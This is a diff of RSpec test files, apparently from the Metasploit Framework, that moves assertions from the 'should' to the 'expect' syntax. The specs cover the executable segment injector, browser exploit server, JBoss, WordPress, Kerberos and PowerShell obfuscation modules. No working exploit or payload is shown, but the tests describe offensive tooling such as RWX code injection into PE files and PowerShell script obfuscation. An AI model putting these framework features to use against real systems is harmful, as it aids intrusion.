it 'should produce a valid PE exe' do
|
||||
|
@ -60,25 +60,25 @@ describe Msf::Exe::SegmentInjector do
|
|||
context 'the generated exe' do
|
||||
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
|
||||
it 'should be the propper arch' do
|
||||
exe.bitsize.should == 32
|
||||
expect(exe.bitsize).to eq 32
|
||||
end
|
||||
|
||||
it 'should have 5 sections' do
|
||||
exe.sections.count.should == 5
|
||||
expect(exe.sections.count).to eq 5
|
||||
end
|
||||
|
||||
it 'should have all the right section names' do
|
||||
s_names = []
|
||||
exe.sections.collect {|s| s_names << s.name}
|
||||
s_names.should == [".text", ".rdata", ".data", ".rsrc", ".text"]
|
||||
expect(s_names).to eq [".text", ".rdata", ".data", ".rsrc", ".text"]
|
||||
end
|
||||
|
||||
it 'should have the last section set to RWX' do
|
||||
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||
expect(exe.sections.last.characteristics).to eq ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||
end
|
||||
|
||||
it 'should have an entrypoint that points to the last section' do
|
||||
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
|
||||
expect(exe.optheader.entrypoint).to eq exe.sections.last.virtaddr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
||||
RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
||||
|
||||
|
||||
|
||||
|
@ -44,22 +44,16 @@ describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
|||
note
|
||||
end
|
||||
|
||||
def mock_stop_job(arg)
|
||||
framework = double('Msf::Framework', datastore: {})
|
||||
jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s}
|
||||
allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) }
|
||||
allow(framework).to receive(:jobs).and_return(jobs)
|
||||
allow(subject).to receive(:framework).and_return(framework)
|
||||
end
|
||||
|
||||
def create_fake_job(id)
|
||||
ctx = double('ctx')
|
||||
handler = create_fake_windows_meterpreter
|
||||
allow(ctx).to receive(:first).and_return(handler)
|
||||
job = [id.to_s, double('job')]
|
||||
allow(job).to receive(:ctx).and_return(ctx)
|
||||
|
||||
job
|
||||
instance_double(
|
||||
Rex::Job,
|
||||
ctx: double(
|
||||
'ctx',
|
||||
first: create_fake_windows_meterpreter
|
||||
),
|
||||
jid: id,
|
||||
stop: nil
|
||||
)
|
||||
end
|
||||
|
||||
def create_fake_exploit(opts={})
|
||||
|
@ -75,6 +69,7 @@ describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
|||
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend(Msf::Exploit::Remote::BrowserExploitServer)
|
||||
mod.extend(Msf::Simple::Exploit)
|
||||
|
||||
allow(mod).to receive(:fullname).and_return(full_name)
|
||||
allow(mod).to receive(:rank).and_return(rank)
|
||||
|
@ -179,9 +174,8 @@ describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
|||
datastores['WORKSPACE'] = workspace
|
||||
|
||||
allow(p).to receive(:fullname).and_return(fullname)
|
||||
allow(p).to receive(:shoftname).and_return(shortname)
|
||||
allow(p).to receive(:shortname).and_return(shortname)
|
||||
allow(p).to receive(:workspace).and_return(workspace)
|
||||
allow(p).to receive(:exploit_simple)
|
||||
|
||||
p
|
||||
end
|
||||
|
@ -371,21 +365,56 @@ describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
|||
allow(framework).to receive(:exploits).and_return(exploits)
|
||||
|
||||
# Prepare jobs
|
||||
jobs = {'0' => create_fake_job(0)}
|
||||
allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) }
|
||||
jobs = instance_double(Rex::JobContainer)
|
||||
job_by_id = {
|
||||
'0' => create_fake_job(0)
|
||||
}
|
||||
|
||||
allow(jobs).to receive(:[]).with('0').and_return(job_by_id['0'])
|
||||
allow(jobs).to receive(:each) { |&block|
|
||||
job_by_id.each(&block)
|
||||
}
|
||||
allow(jobs).to receive(:empty?) {
|
||||
job_by_id.empty?
|
||||
}
|
||||
allow(jobs).to receive(:length) {
|
||||
job_by_id.length
|
||||
}
|
||||
allow(jobs).to receive(:stop_job) { |job_number|
|
||||
job_id = job_number.to_s
|
||||
job = job_by_id[job_id]
|
||||
|
||||
if job
|
||||
job.stop
|
||||
|
||||
job_by_id.delete(job_id)
|
||||
end
|
||||
}
|
||||
|
||||
allow(framework).to receive(:jobs).and_return(jobs)
|
||||
|
||||
# Prepare payloads
|
||||
payloads = {}
|
||||
payloads = instance_double(Msf::PayloadSet)
|
||||
payload_class_by_reference_name = {}
|
||||
|
||||
allow(payloads).to receive(:[]=) do |reference_name, klass|
|
||||
payload_class_by_reference_name[reference_name] = klass
|
||||
end
|
||||
|
||||
allow(payloads).to receive(:keys) {
|
||||
payload_class_by_reference_name.keys
|
||||
}
|
||||
|
||||
available_payloads.each do |p|
|
||||
payloads[p.fullname] = "__SYMBOLIC__"
|
||||
end
|
||||
|
||||
allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) }
|
||||
allow(framework).to receive(:payloads).and_return(payloads)
|
||||
|
||||
allow_any_instance_of(described_class).to receive(:cli).and_return(cli)
|
||||
|
||||
allow_any_instance_of(described_class).to receive(:framework).and_return(framework)
|
||||
allow_any_instance_of(Msf::Exploit).to receive(:framework).and_return(framework)
|
||||
allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) }
|
||||
end
|
||||
|
||||
|
@ -435,8 +464,11 @@ describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
|||
end
|
||||
|
||||
describe '#rm_payload_jobs' do
|
||||
it 'empties jobs' do
|
||||
before(:each) do
|
||||
subject.instance_variable_set(:@payload_job_ids, job_ids)
|
||||
end
|
||||
|
||||
it 'empties jobs' do
|
||||
expect(subject.framework.jobs.length).to eq(1)
|
||||
subject.rm_payload_jobs
|
||||
expect(subject.framework.jobs).to be_empty
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'msf/core'
|
|||
require 'msf/core/module'
|
||||
require 'msf/core/exploit/capture'
|
||||
|
||||
describe Msf::Exploit::Capture do
|
||||
RSpec.describe Msf::Exploit::Capture do
|
||||
|
||||
subject do
|
||||
mod = Msf::Module.new
|
||||
|
@ -14,7 +14,7 @@ describe Msf::Exploit::Capture do
|
|||
end
|
||||
|
||||
it 'should be a kind of Msf::Exploit::Capture' do
|
||||
subject.should be_a_kind_of Msf::Exploit::Capture
|
||||
expect(subject).to be_a_kind_of Msf::Exploit::Capture
|
||||
end
|
||||
|
||||
context '#capture_sendto' do
|
||||
|
@ -27,20 +27,20 @@ describe Msf::Exploit::Capture do
|
|||
it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do
|
||||
allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06))
|
||||
allow(subject).to receive(:inject_eth).and_return(payload.size)
|
||||
subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size
|
||||
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
|
||||
expect(subject.capture_sendto(payload, '127.0.0.1', false)).to eq payload.size
|
||||
expect(subject.capture_sendto(payload, '127.0.0.1', true)).to eq payload.size
|
||||
end
|
||||
|
||||
it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do
|
||||
allow(subject).to receive(:lookup_eth).and_return(nil)
|
||||
subject.capture_sendto(payload, '127.0.0.1').should be_falsey
|
||||
subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey
|
||||
expect(subject.capture_sendto(payload, '127.0.0.1')).to be_falsey
|
||||
expect(subject.capture_sendto(payload, '127.0.0.1', false)).to be_falsey
|
||||
end
|
||||
|
||||
it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do
|
||||
allow(subject).to receive(:lookup_eth).and_return(nil)
|
||||
allow(subject).to receive(:inject_eth).and_return(payload.size)
|
||||
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
|
||||
expect(subject.capture_sendto(payload, '127.0.0.1', true)).to eq payload.size
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -48,21 +48,21 @@ describe Msf::Exploit::Capture do
|
|||
context '#stats_*' do
|
||||
|
||||
it 'should show received packets' do
|
||||
subject.stats_recv.should == 0
|
||||
expect(subject.stats_recv).to eq 0
|
||||
end
|
||||
|
||||
it 'should show dropped packets' do
|
||||
subject.stats_drop.should == 0
|
||||
expect(subject.stats_drop).to eq 0
|
||||
end
|
||||
|
||||
it 'should show interface-dropped packets' do
|
||||
subject.stats_ifdrop.should == 0
|
||||
expect(subject.stats_ifdrop).to eq 0
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
it 'should respond to open_pcap' do
|
||||
subject.should respond_to :open_pcap
|
||||
expect(subject).to respond_to :open_pcap
|
||||
end
|
||||
|
||||
it 'should confirm that pcaprub is available', :skip => "Need to test this without stubbing check_pcaprub_loaded" do
|
||||
|
|
|
@ -3,7 +3,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
describe Msf::Exploit::CmdStager do
|
||||
RSpec.describe Msf::Exploit::CmdStager do
|
||||
|
||||
def create_exploit(info ={})
|
||||
mod = Msf::Exploit.allocate
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'msf/core'
|
|||
require 'msf/core/data_store'
|
||||
require 'msf/core/exploit/http/client'
|
||||
|
||||
describe Msf::Exploit::Remote::HttpClient do
|
||||
RSpec.describe Msf::Exploit::Remote::HttpClient do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
|
@ -28,7 +28,7 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
subject
|
||||
end
|
||||
it "should return the set vhost" do
|
||||
cli_vhost.vhost.should == vhost
|
||||
expect(cli_vhost.vhost).to eq vhost
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -38,8 +38,8 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
subject
|
||||
end
|
||||
it "should return the rhost as the vhost" do
|
||||
cli_rhost.datastore['VHOST'].should be_nil
|
||||
cli_rhost.vhost.should == rhost
|
||||
expect(cli_rhost.datastore['VHOST']).to be_nil
|
||||
expect(cli_rhost.vhost).to eq rhost
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -60,11 +60,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should be '/'" do
|
||||
unnormalized_uri.should == '/'
|
||||
expect(unnormalized_uri).to eq '/'
|
||||
end
|
||||
|
||||
it "should return '/'" do
|
||||
normalized_uri.should == '/'
|
||||
expect(normalized_uri).to eq '/'
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -74,11 +74,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should start with '/'" do
|
||||
unnormalized_uri[0, 1].should == '/'
|
||||
expect(unnormalized_uri[0, 1]).to eq '/'
|
||||
end
|
||||
|
||||
it "should not add another starting '/'" do
|
||||
normalized_uri.should == expected_normalized_uri
|
||||
expect(normalized_uri).to eq expected_normalized_uri
|
||||
end
|
||||
|
||||
context "with multiple internal '/'" do
|
||||
|
@ -87,7 +87,7 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should remove doubled internal '/'" do
|
||||
normalized_uri.should == expected_normalized_uri
|
||||
expect(normalized_uri).to eq expected_normalized_uri
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -97,11 +97,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should have at least 2 starting '/'" do
|
||||
unnormalized_uri[0, 2].should == '//'
|
||||
expect(unnormalized_uri[0, 2]).to eq '//'
|
||||
end
|
||||
|
||||
it "should return with one starting '/'" do
|
||||
normalized_uri.should == expected_normalized_uri
|
||||
expect(normalized_uri).to eq expected_normalized_uri
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -115,7 +115,7 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should end with '/'" do
|
||||
normalized_uri[-1, 1].should == '/'
|
||||
expect(normalized_uri[-1, 1]).to eq '/'
|
||||
end
|
||||
|
||||
context "with multiple trailing '/'" do
|
||||
|
@ -124,11 +124,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should have multiple trailing '/'" do
|
||||
unnormalized_uri[-2,2].should == '//'
|
||||
expect(unnormalized_uri[-2,2]).to eq '//'
|
||||
end
|
||||
|
||||
it "should return only one trailing '/'" do
|
||||
normalized_uri.should == expected_normalized_uri
|
||||
expect(normalized_uri).to eq expected_normalized_uri
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -139,11 +139,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should not have a trailing '/'" do
|
||||
unnormalized_uri[-1, 1].should_not == '/'
|
||||
expect(unnormalized_uri[-1, 1]).not_to eq '/'
|
||||
end
|
||||
|
||||
it "should return original string" do
|
||||
normalized_uri.should == expected_normalized_uri
|
||||
expect(normalized_uri).to eq expected_normalized_uri
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -158,19 +158,19 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should have trailing '/'" do
|
||||
unnormalized_uri[-1, 1].should == '/'
|
||||
expect(unnormalized_uri[-1, 1]).to eq '/'
|
||||
end
|
||||
|
||||
it "should add starting '/'" do
|
||||
normalized_uri[0, 1].should == '/'
|
||||
expect(normalized_uri[0, 1]).to eq '/'
|
||||
end
|
||||
|
||||
it "should not remove trailing '/'" do
|
||||
normalized_uri[-1, 1].should == '/'
|
||||
expect(normalized_uri[-1, 1]).to eq '/'
|
||||
end
|
||||
|
||||
it 'should normalize the uri' do
|
||||
normalized_uri.should == "#{expected_normalized_uri}"
|
||||
expect(normalized_uri).to eq "#{expected_normalized_uri}"
|
||||
end
|
||||
|
||||
context "with multiple internal '/'" do
|
||||
|
@ -179,7 +179,7 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should remove doubled internal '/'" do
|
||||
normalized_uri.should == expected_normalized_uri
|
||||
expect(normalized_uri).to eq expected_normalized_uri
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -190,15 +190,15 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should not have trailing '/'" do
|
||||
unnormalized_uri[-1, 1].should_not == '/'
|
||||
expect(unnormalized_uri[-1, 1]).not_to eq '/'
|
||||
end
|
||||
|
||||
it "should add starting '/'" do
|
||||
normalized_uri[0, 1].should == '/'
|
||||
expect(normalized_uri[0, 1]).to eq '/'
|
||||
end
|
||||
|
||||
it "should add trailing '/'" do
|
||||
normalized_uri[-1, 1].should_not == '/'
|
||||
expect(normalized_uri[-1, 1]).not_to eq '/'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -209,11 +209,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it "should be empty" do
|
||||
unnormalized_uri.should be_empty
|
||||
expect(unnormalized_uri).to be_empty
|
||||
end
|
||||
|
||||
it "should return '/'" do
|
||||
normalized_uri.should == '/'
|
||||
expect(normalized_uri).to eq '/'
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -223,11 +223,11 @@ describe Msf::Exploit::Remote::HttpClient do
|
|||
end
|
||||
|
||||
it 'should be nil' do
|
||||
unnormalized_uri.should be_nil
|
||||
expect(unnormalized_uri).to be_nil
|
||||
end
|
||||
|
||||
it "should return '/" do
|
||||
normalized_uri.should == '/'
|
||||
expect(normalized_uri).to eq '/'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/jboss'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::JBoss::Base do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::Base do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::Exploit::Remote::HTTP::JBoss
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/jboss'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::Exploit::Remote::HTTP::JBoss
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/jboss'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do
|
||||
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/jboss'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::Exploit::Remote::HTTP::JBoss
|
||||
|
|
|
@ -4,8 +4,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/jboss'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::Exploit::Remote::HTTP::JBoss
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'spec_helper'
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/http/server'
|
||||
|
||||
describe Msf::Exploit::Remote::HttpServer do
|
||||
RSpec.describe Msf::Exploit::Remote::HttpServer do
|
||||
|
||||
subject(:server_module) do
|
||||
mod = Msf::Exploit.allocate
|
||||
|
@ -16,15 +16,13 @@ describe Msf::Exploit::Remote::HttpServer do
|
|||
end
|
||||
|
||||
let(:mock_service) do
|
||||
mock_service = double("service")
|
||||
mock_service.stub(:server_name=)
|
||||
mock_service.stub(:add_resource)
|
||||
|
||||
mock_service
|
||||
double 'service',
|
||||
add_resource: nil,
|
||||
:'server_name=' => nil
|
||||
end
|
||||
|
||||
before do
|
||||
Rex::ServiceManager.stub(:start => mock_service)
|
||||
allow(Rex::ServiceManager).to receive(:start).and_return(mock_service)
|
||||
end
|
||||
|
||||
# Ensure the class is hooks Metasploit::Concern
|
||||
|
@ -34,26 +32,26 @@ describe Msf::Exploit::Remote::HttpServer do
|
|||
it "should call the ServiceManager's add_resource" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource)
|
||||
expect(mock_service).to receive(:add_resource)
|
||||
server_module.add_resource('Path' => 'foo')
|
||||
end
|
||||
|
||||
it "should re-raise if the resource has already been added" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource).ordered
|
||||
mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError)
|
||||
expect(mock_service).to receive(:add_resource).ordered
|
||||
expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError)
|
||||
|
||||
server_module.add_resource('Path' => 'foo')
|
||||
|
||||
expect { server_module.add_resource('Path' => 'foo') }.to raise_error
|
||||
expect { server_module.add_resource('Path' => 'foo') }.to raise_error(RuntimeError)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#cleanup" do
|
||||
it "should not remove resources if none were successfully added" do
|
||||
server_module.should_not_receive(:remove_resource)
|
||||
expect(server_module).not_to receive(:remove_resource)
|
||||
server_module.cleanup
|
||||
end
|
||||
|
||||
|
@ -65,7 +63,7 @@ describe Msf::Exploit::Remote::HttpServer do
|
|||
|
||||
# The service will add one resource as part of #start_service, so
|
||||
# add that to the number that we added manually
|
||||
server_module.should_receive(:remove_resource).exactly(resources.count + 1).times
|
||||
expect(server_module).to receive(:remove_resource).exactly(resources.count + 1).times
|
||||
server_module.cleanup
|
||||
end
|
||||
|
||||
|
@ -75,16 +73,16 @@ describe Msf::Exploit::Remote::HttpServer do
|
|||
it "should call the ServiceManager's add_resource" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource)
|
||||
expect(mock_service).to receive(:add_resource)
|
||||
server_module.hardcoded_uripath('foo')
|
||||
end
|
||||
|
||||
it "should re-raise if the resource has already been added" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError)
|
||||
expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError)
|
||||
|
||||
expect { server_module.hardcoded_uripath('foo') }.to raise_error
|
||||
expect { server_module.hardcoded_uripath('foo') }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'msf/core'
|
|||
require 'rex/proto/http/response'
|
||||
require 'msf/core/exploit/http/typo3'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::Typo3 do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::Typo3 do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'msf/core/exploit'
|
|||
require 'rex/proto/http/response'
|
||||
require 'msf/core/exploit/http/wordpress'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::Wordpress::Base do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Base do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'msf/core/exploit'
|
|||
require 'rex/proto/http/response'
|
||||
require 'msf/core/exploit/http/wordpress'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::Wordpress::Login do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Login do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'msf/core/exploit'
|
|||
require 'rex/proto/http/response'
|
||||
require 'msf/core/exploit/http/wordpress'
|
||||
|
||||
describe Msf::Exploit::Remote::HTTP::Wordpress::Version do
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Version do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::Base do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::Base do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::Pac do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::Pac do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'spec_helper'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do
|
||||
RSpec.describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Kerberos::Client
|
||||
|
|
|
@ -8,7 +8,7 @@ def decompress(code)
|
|||
Rex::Powershell::Script.new(code).decompress_code
|
||||
end
|
||||
|
||||
describe Msf::Exploit::Powershell do
|
||||
RSpec.describe Msf::Exploit::Powershell do
|
||||
subject do
|
||||
mod = Msf::Exploit.allocate
|
||||
mod.extend described_class
|
||||
|
@ -32,8 +32,8 @@ describe Msf::Exploit::Powershell do
|
|||
describe "::encode_script" do
|
||||
it 'should read and encode a sample script file' do
|
||||
script = subject.encode_script(example_script)
|
||||
script.should be
|
||||
script.length.should be > 0
|
||||
expect(script).to be
|
||||
expect(script.length).to be > 0
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -42,14 +42,14 @@ describe Msf::Exploit::Powershell do
|
|||
it 'should create a compressed script' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
compressed.include?('IO.Compression').should be_truthy
|
||||
expect(compressed.length).to be < script.length
|
||||
expect(compressed.include?('IO.Compression')).to be_truthy
|
||||
end
|
||||
|
||||
it 'should create a compressed script with eof' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, 'end_of_file')
|
||||
compressed.include?('end_of_file').should be_truthy
|
||||
expect(compressed.include?('end_of_file')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -61,7 +61,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'should strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
expect(compressed.length).to be < script.length
|
||||
end
|
||||
end
|
||||
context 'when strip_comment is false' do
|
||||
|
@ -72,7 +72,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'shouldnt strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
expect(compressed.length).to be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -85,7 +85,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'should strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).length.should be < script.length
|
||||
expect(decompress(compressed).length).to be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -110,7 +110,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'should substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('$hashes').should be_falsey
|
||||
expect(decompress(compressed).include?('$hashes')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -122,7 +122,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('$hashes').should be_truthy
|
||||
expect(decompress(compressed).include?('$hashes')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -134,7 +134,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'should substitute functions' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('DumpHashes').should be_falsey
|
||||
expect(decompress(compressed).include?('DumpHashes')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -146,7 +146,7 @@ describe Msf::Exploit::Powershell do
|
|||
it 'shouldnt substitute variables' do
|
